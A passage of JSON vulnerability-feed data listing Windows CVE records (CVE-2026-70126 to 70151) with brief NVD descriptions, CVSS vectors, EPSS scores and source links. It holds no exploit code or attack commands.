fixes.","publishedAt":"2026-10-13T19:19:28.400Z","updatedAt":"2026-10-16T16:20:38.060Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70151","asOf":"2026-10-16T16:20:38.060Z"},"epss":{"probability":0.00404,"percentile":0.34364,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-70151&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-70151","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70151","type":"primary","publishedAt":"2026-10-13T19:19:28.400Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-70151&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-70151, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-70150","cveId":"CVE-2026-70150","aliases":[],"kind":"vulnerability","title":"Use after free in Microsoft Windows Search Component allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Microsoft Windows Search Component allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Microsoft Windows Search Component allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:28.220Z","updatedAt":"2026-10-16T16:20:37.873Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Microsoft Windows"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70150","asOf":"2026-10-16T16:20:37.873Z"},"epss":{"probability":0.00286,"percentile":0.20922,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-70150&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-70150","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70150","type":"primary","publishedAt":"2026-10-13T19:19:28.220Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-70150&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-70150, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-70149","cveId":"CVE-2026-70149","aliases":[],"kind":"vulnerability","title":"Exposure of sensitive information to an unauthorized actor in Windows Client Side Caching driver (csc.sys) allows an authorized attacker to disclose information locally.","summary":"Exposure of sensitive information to an unauthorized actor in Windows Client Side Caching driver (csc.sys) allows an authorized attacker to disclose information locally.","detail":"Exposure of sensitive information to an unauthorized actor in Windows Client Side Caching driver (csc.sys) allows an authorized attacker to disclose information locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:28.033Z","updatedAt":"2026-10-16T16:20:37.687Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70149","asOf":"2026-10-16T16:20:37.687Z"},"epss":{"probability":0.00948,"percentile":0.60929,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-70149&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-70149","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70149","type":"primary","publishedAt":"2026-10-13T19:19:28.033Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-70149&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-70149, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-70143","cveId":"CVE-2026-70143","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Windows Network File System allows an authorized attacker to execute code locally.","summary":"Heap-based buffer overflow in Windows Network File System allows an authorized attacker to execute code locally.","detail":"Heap-based buffer overflow in Windows Network File System allows an authorized attacker to execute code locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:27.380Z","updatedAt":"2026-10-16T16:20:37.097Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70143","asOf":"2026-10-16T16:20:37.097Z"},"epss":{"probability":0.00388,"percentile":0.32606,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-70143&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-70143","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70143","type":"primary","publishedAt":"2026-10-13T19:19:27.380Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-70143&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-70143, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-70142","cveId":"CVE-2026-70142","aliases":[],"kind":"vulnerability","title":"Untrusted search path in Windows Update Service allows an authorized attacker to elevate privileges locally.","summary":"Untrusted search path in Windows Update Service allows an authorized attacker to elevate privileges locally.","detail":"Untrusted search path in Windows Update Service allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:27.247Z","updatedAt":"2026-10-14T04:18:30.973Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70142","asOf":"2026-10-14T04:18:30.973Z"},"epss":{"probability":0.00414,"percentile":0.35397,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-70142&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-70142","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70142","type":"primary","publishedAt":"2026-10-13T19:19:27.247Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-70142&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-70142, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-70140","cveId":"CVE-2026-70140","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Audio Service allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Audio Service allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Audio Service allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:26.900Z","updatedAt":"2026-10-16T16:20:36.643Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70140","asOf":"2026-10-16T16:20:36.643Z"},"epss":{"probability":0.00307,"percentile":0.23264,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-70140&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-70140","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70140","type":"primary","publishedAt":"2026-10-13T19:19:26.900Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-70140&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-70140, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-70139","cveId":"CVE-2026-70139","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Windows Update Service allows an authorized attacker to elevate privileges locally.","summary":"Heap-based buffer overflow in Windows Update Service allows an authorized attacker to elevate privileges locally.","detail":"Heap-based buffer overflow in Windows Update Service allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:26.707Z","updatedAt":"2026-10-16T16:20:36.433Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70139","asOf":"2026-10-16T16:20:36.433Z"},"epss":{"probability":0.00388,"percentile":0.32607,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-70139&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-70139","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70139","type":"primary","publishedAt":"2026-10-13T19:19:26.707Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-70139&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-70139, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-70138","cveId":"CVE-2026-70138","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Windows OLE allows an authorized attacker to elevate privileges locally.","summary":"Heap-based buffer overflow in Windows OLE allows an authorized attacker to elevate privileges locally.","detail":"Heap-based buffer overflow in Windows OLE allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:26.530Z","updatedAt":"2026-10-16T16:20:36.237Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70138","asOf":"2026-10-16T16:20:36.237Z"},"epss":{"probability":0.00388,"percentile":0.32604,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-70138&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-70138","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70138","type":"primary","publishedAt":"2026-10-13T19:19:26.530Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-70138&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-70138, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-70136","cveId":"CVE-2026-70136","aliases":[],"kind":"vulnerability","title":"Use after free in Microsoft Windows Search Component allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Microsoft Windows Search Component allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Microsoft Windows Search Component allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:26.180Z","updatedAt":"2026-10-16T16:20:35.883Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Microsoft Windows"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70136","asOf":"2026-10-16T16:20:35.883Z"},"epss":{"probability":0.00286,"percentile":0.20922,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-70136&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-70136","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70136","type":"primary","publishedAt":"2026-10-13T19:19:26.180Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-70136&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-70136, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-70134","cveId":"CVE-2026-70134","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Event Tracing allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Event Tracing allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Event Tracing allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:25.850Z","updatedAt":"2026-10-16T16:20:35.530Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70134","asOf":"2026-10-16T16:20:35.530Z"},"epss":{"probability":0.00307,"percentile":0.23266,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-70134&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-70134","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70134","type":"primary","publishedAt":"2026-10-13T19:19:25.850Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-70134&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-70134, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-70133","cveId":"CVE-2026-70133","aliases":[],"kind":"vulnerability","title":"Allocation of resources without limits or throttling in Windows SMB Server allows an unauthorized attacker to deny service over a network.","summary":"Allocation of resources without limits or throttling in Windows SMB Server allows an unauthorized attacker to deny service over a network.","detail":"Allocation of resources without limits or throttling in Windows SMB Server allows an unauthorized attacker to deny service over a network.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:25.577Z","updatedAt":"2026-10-16T16:20:35.273Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70133","asOf":"2026-10-16T16:20:35.273Z"},"epss":{"probability":0.01301,"percentile":0.70257,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-70133&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-70133","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70133","type":"primary","publishedAt":"2026-10-13T19:19:25.577Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-70133&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-70133, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-70132","cveId":"CVE-2026-70132","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Windows Portable Device File System Driver allows an authorized attacker to elevate privileges locally.","summary":"Heap-based buffer overflow in Windows Portable Device File System Driver allows an authorized attacker to elevate privileges locally.","detail":"Heap-based buffer overflow in Windows Portable Device File System Driver allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:25.390Z","updatedAt":"2026-10-16T16:20:35.090Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70132","asOf":"2026-10-16T16:20:35.090Z"},"epss":{"probability":0.00404,"percentile":0.34363,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-70132&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-70132","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70132","type":"primary","publishedAt":"2026-10-13T19:19:25.390Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-70132&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-70132, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-70131","cveId":"CVE-2026-70131","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Microsoft Windows Media Foundation allows an unauthorized attacker to elevate privileges locally.","summary":"Heap-based buffer overflow in Microsoft Windows Media Foundation allows an unauthorized attacker to elevate privileges locally.","detail":"Heap-based buffer overflow in Microsoft Windows Media Foundation allows an unauthorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:25.210Z","updatedAt":"2026-10-16T16:20:34.910Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Microsoft Windows"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70131","asOf":"2026-10-16T16:20:34.910Z"},"epss":{"probability":0.00505,"percentile":0.42867,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-70131&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-70131","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70131","type":"primary","publishedAt":"2026-10-13T19:19:25.210Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-70131&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-70131, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-70126","cveId":"CVE-2026-70126","aliases":[],"kind":"vulnerability","title":"Out-of-bounds read in Windows Bluetooth Port Driver allows an unauthorized attacker to execute code over an adjacent network.","summary":"Out-of-bounds read in Windows Bluetooth Port Driver allows an unauthorized attacker to execute code over an adjacent network.","detail":"Out-of-bounds read in Windows Bluetooth Port Driver allows an unauthorized attacker to execute code over an adjacent network.\n\nNVD status: Undergoing 